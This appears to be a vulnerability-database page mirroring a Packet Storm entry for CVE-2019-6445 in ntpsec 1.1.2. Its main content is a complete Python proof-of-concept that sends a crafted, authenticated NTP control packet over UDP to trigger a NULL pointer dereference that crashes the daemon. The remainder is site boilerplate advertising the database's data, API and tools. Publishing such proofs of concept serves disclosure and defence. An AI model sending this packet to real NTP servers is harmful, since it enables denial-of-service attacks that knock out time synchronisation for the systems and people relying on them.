Lucene search
K

NTPsec 1.1.2 ntp_control Null Pointer Dereference

🗓️ 16 Jan 2019 00:00:00Reported by Magnus Klaaborg StubmanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

NTPsec 1.1.2 authenticated NULL pointer exception Po

Related
Code
`#!/usr/bin/env python  
# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept  
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)  
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)  
# Website: https://dumpco.re/bugs/ntpsec-authed-npe   
# Vendor Homepage: https://ntpsec.org/   
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz   
# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2  
# CVE: CVE-2019-6445  
# Note: this PoC uses Keyid 1 with password 'gurka'  
  
import sys  
import socket  
  
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +  
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +  
"\x56\xc8\x07\xd4")  
  
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock.sendto(buf, ('127.0.0.1', 123))  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation